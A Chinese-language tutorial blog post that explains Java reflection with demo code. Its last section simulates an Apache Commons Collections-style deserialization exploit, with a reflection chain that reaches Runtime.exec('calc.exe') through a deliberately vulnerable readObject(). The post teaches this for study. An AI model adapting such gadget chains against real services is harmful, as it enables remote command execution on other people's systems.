基本概念

反射机制定义:Java反射机制是在运行状态时,对于任意一个类,都能够获取到这个类的所有属性和方法,对于任意一个对象,都能够调用它的任意一个方法和属性(包括私有的方法和属性),这种动态获取的信息以及动态调用对象的方法的功能就称为java语言的反射机制。

通俗点讲,通过反射,该类对我们来说是完全透明的,想要获取任何东西都可以。

要使用反射机制,就必须要先获取到该类的字节码文件对象(.class),通过字节码文件对象,就能够通过该类中的方法获取到我们想要的所有信息(方法,属性,类名,父类名,实现的所有接口等等),每一个类对应着一个字节码文件也就对应着一个Class类型的对象,也就是字节码文件对象。

反射机制相关类库

在Java中,Class类和java.lang.reflect类库一起构成了对反射机制的支持。其中最常使用到的类是Constructor,Field,Method,而这三个类都继承了一个接口java.lang.reflect.Member。下面列举介绍一下java.lang.reflect类库中的类:

  • AccessibleObject:Field,Method,和Constructor对象的基类。提供了将反射的对象标记为在使用时取消默认Java语言访问控制检查的能力。
  • Array:提供了动态创建和访问Java数组的方法。
  • Constructor:提供关于类的单个构造方法的信息以及对它的访问权限。
  • Field: 提供有关类或接口的单个字段的信息,以及对它的动态访问权限。反射的字段可能是一个类(静态)字段或实例字段。
  • Method: 提供关于类或接口上单独某个方法(以及如何访问该方法)的信息。所反映的方法可能是类方法或实例方法(包括抽象方法)。
  • Modifier: 类提供了 static 方法和常量,对类和成员访问修饰符进行解码。修饰符集被表示为整数,用不同的位位置 (bit position) 表示不同的修饰符。该类的字段均是int类型的变量。
  • Proxy: 提供用于创建动态代理类和实例的静态方法,它还是由这些方法创建的所有动态代理类的超类。
  • ReflectPermission:反射操作的 Permission 类。ReflectPermission 是一种指定权限,没有动作。当前定义的唯一名称是 suppressAccessChecks,它允许取消由反射对象在其使用点上执行的标准 Java 语言访问检查 - 对于 public、default(包)访问、protected、private 成员。

当要使用反射机制去探查一个类的内部时,还可以调用getFields(),getMethods()和getConstructors()等很便利的方法。对于反射机制,和RTTI(Run-Time Type Information,运行时类型信息)的区别就在于,RTTI是在编译时打开和检查.class文件,而反射机制是在运行时打开和检查.class文件。

获取类名称

通过反射机制获取类名称有三种方法:

1、Class clz = Class.forName(“com.test.User”);

2、Class clz = com.test.User.class;

3、User u = new User(); Class clz = u.getClass();

Demo示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public class test {
public static void main(String[] args) {

try {
Class clz1 = Class.forName("java.lang.Runtime");
System.out.println("方法一:");
System.out.println(clz1.getName());
} catch (ClassNotFoundException e) {
System.out.println("forName出错");
}

Class clz2 = java.lang.ProcessBuilder.class;
System.out.println("方法二:");
System.out.println(clz2.getName());

java.lang.String s = "";
Class clz3 = s.getClass();
System.out.println("方法三:");
System.out.println(clz3.getName());
}
}

可从运行结果中看到分别获取了不同类名称:

获取类名称

创建对象

通过Class创建对象:

Class clz = Class.forName(“com.test.User”);

User u = (User)clz.newInstane();//调用无参构造函数

Demo示例:

Uset.class定义User类,包含用户名和年龄:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public class User {
private String name;
private int age;

@Override
public String toString() {
return "User{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}

public String getName() {
return name;
}

public void setName(String name) {
this.name = name;
}

public void setAge(int age) {
this.age = age;
}

public int getAge() {
return age;
}
}

test.class中调用newInstane()创建对象:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public class test {
public static void main(String[] args) {

Class clz = User.class;
User user = null;
try {
user = (User)clz.newInstance();
} catch (InstantiationException e){
e.printStackTrace();
} catch (IllegalAccessException e){
e.printStackTrace();
}

user.setName("Mi1k7ea");
user.setAge(6);
System.out.println(user);
}
}

从结果可看到创建了新的User类对象并成功赋值:

创建对象

获取类对象属性

这里的属性指的是类定义的组成元素,如修饰符、方法名、成员变量等。

获取所有的属性:

Class clz = Class.forName(“com.test.User”);

Field [] fields = clz.getDeclaredFields();

获取特定属性:

Class clz = Class.forName(“com.test.User”);

Field [] fields = clz.getDeclaredField(“xxx”);//xxx为指定属性名

Demo示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import java.lang.reflect.Field;

public class test {
public static void main(String[] args) {

try {
Class clz = Class.forName("User");
User user = (User)clz.newInstance();
Field[] fields = clz.getDeclaredFields();
System.out.println("User类所有的属性:");
for (Field f : fields) {
System.out.println(f);
}

Field field = clz.getDeclaredField("name");
field.setAccessible(true);
field.set(user, "Mi1k7ea");
System.out.println("\n修改的User类对象的name值为:");
System.out.println(field.get(user));
System.out.println("修改属性后的User类对象:");
System.out.println(user);
} catch (ClassNotFoundException e) {
System.out.println("forName出错");
} catch (Exception e){
e.printStackTrace();
}

}
}

可从结果看到调用获取了getDeclaredFields()所有Runtime类的属性,包括修饰符、方法名、成员变量等,同时也调用getDeclaredField()获取了指定的属性:

获取类所有属性

应用示例

1、利用反射,在泛型为int的arryaList集合中存放一个String类型的对象

原理:集合中的泛型只在编译器有效,而到了运行期时泛型则会失效。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.List;

public class test {
public static void main(String[] args) throws Exception{

List<Integer> list = new ArrayList<Integer>();
list.add(1);
list.add(2);
// list.add("Mi1k7ea");//在编译器中泛型生效,插入字符串对象会报错
Class clz = list.getClass();
Method method = clz.getMethod("add", Object.class);
method.invoke(list, "Mi1k7ea");
System.out.println(list);
}
}

可以看到成功将String类型对象放入泛型为int型的数组中:

示例1

2、利用反射,简化编写Servlet的个数

利用反射机制,在为程序添加新功能时可以无需逐个对应编写新的Servlet,提高开发效率和代码简洁性。主要有如下两个方式优化。

(1)、通过编写利用反射机制获取指定属性值的Servlet的方式

每次从页面传过来一个参数,method=”xxx”; 然后编写一个Servlet,获得其参数method的值,进行判断,如果是add,则调用add方法,如果是delete,则调用delete方法,这样就可以写在一个servlet中实现所有的功能了。

示例2

(2)、通过Servlet的生命周期即service()实现反射机制来实现

编写一个通用的BaseServlet,继承于HttpServlet:

示例3

编写具体实现的方法Servlet类MyServlet001,继承于BaseServlet:

示例4

由Servlet的生命周期可知,在访问该Servlet时会调用service()方法,然而MyServlet001类中并无service(),因此会返回到父类BaseServlet中找到该service()方法,再获取参数从而知道需要调用的方法,因为方法的编写都在子类中,所以通过反射,获取到子类中对应的方法并运行,其中需要注意的是this这个参数在BaseServlet中的用法。

3、利用反射,构造链式结构的反序列化漏洞利用payload

在经典的Apache Commons Collections反序列化漏洞中,其payload的构造正是利用了反射机制来实现链式结构,将要执行的恶意代码构造成一条反射链,再通过包含自定义readObject()方法的类来触发执行。

这里简单模拟一下该反序列化漏洞场景,代码示例如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
import java.io.*;

public class ReflectionPlay implements Serializable {

public static void main(String[] args) throws Exception {
ReflectionPlay rp = new ReflectionPlay();
rp.deserialize(rp.serialize(rp.getObject()));
}

//构造链式结构的ReflectionChains类对象并复制到ReadObject类对象中,返回该恶意对象
public Object getObject() {
String command = "calc.exe";
Object firstObject = Runtime.class;
ReflectionObject[] reflectionChains = {
//调用Runtime.class的getMethod方法,寻找getRuntime方法,得到一个Method对象(getRuntime方法)
//等同于Runtime.class.getMethod("getRuntime",new Class[]{String.class,Class[].class})
new ReflectionObject("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
//调用Method的invoker方法可以得到一个Runtime对象,等同于method.invoke(null),静态方法不用传入对象
new ReflectionObject("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
//调用RunTime对象的exec方法,并将command作为参数执行命令
new ReflectionObject("exec", new Class[]{String.class}, new Object[]{command})
};
return new ReadObject(new ReflectionChains(firstObject, reflectionChains));
}

//序列化对象到byte数组
public byte[] serialize(final Object obj) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
ObjectOutputStream objOut = new ObjectOutputStream(out);
objOut.writeObject(obj);
return out.toByteArray();
}

//从byte数组中反序列化对象
public Object deserialize(final byte[] serialized) throws IOException, ClassNotFoundException {
ByteArrayInputStream in = new ByteArrayInputStream(serialized);
ObjectInputStream objIn = new ObjectInputStream(in);
return objIn.readObject();
}

//定义一个有漏洞的类,主要提供的功能是根据自己属性中的值来进行反射调用
class ReflectionObject implements Serializable{
private String methodName;
private Class[] paramTypes;
private Object[] args;

public ReflectionObject(String methodName, Class[] paramTypes, Object[] args) {
this.methodName = methodName;
this.paramTypes = paramTypes;
this.args = args;
}

//根据methodName、paramTypes来寻找对象的方法,利用args作为参数进行调用
public Object transform(Object input) throws Exception {
Class inputClass = input.getClass();
return inputClass.getMethod(methodName, paramTypes).invoke(input, args);
}
}

//定义一个反射链的类
class ReflectionChains implements Serializable{
private Object firstObject;
private ReflectionObject[] reflectionObjects;

public ReflectionChains(Object firstObject, ReflectionObject[] reflectionObjects) {
this.firstObject = firstObject;
this.reflectionObjects = reflectionObjects;
}

//遍历ReflectionObject类对象数组并调用其transform()方法
public Object execute() throws Exception {
Object concurrentObject = firstObject;
for (ReflectionObject reflectionObject : reflectionObjects) {
concurrentObject = reflectionObject.transform(concurrentObject);
}
return concurrentObject;
}
}

//定义一个用于序列化与反序列化的类,拥有一个属性和一个重写了的readObject()方法,并且在readObject()方法中执行了该属性的一个方法
//当反序列化该类对象时会执行自定义的readObject()方法
class ReadObject implements Serializable {
private ReflectionChains reflectionChains;

public ReadObject(ReflectionChains reflectionChains) {
this.reflectionChains = reflectionChains;
}

//自定义readObject(),当反序列化的时候,这个代码会被调用,且被调用的时候其属性都是空
private void readObject(java.io.ObjectInputStream stream)
throws IOException, ClassNotFoundException {
try {
//用来模拟当readObject()的时候,对自身的属性进行了一些额外的操作,以符合反序列化漏洞特征
reflectionChains= (ReflectionChains) stream.readFields().get("reflectionChains",null);
reflectionChains.execute();
} catch (Exception e) {
e.printStackTrace();
}
}
}
}

运行后弹出计算器,即利用了反射机制实现系统命令执行:

示例5

参考

Java中反射机制详解

Java反射机制Reflection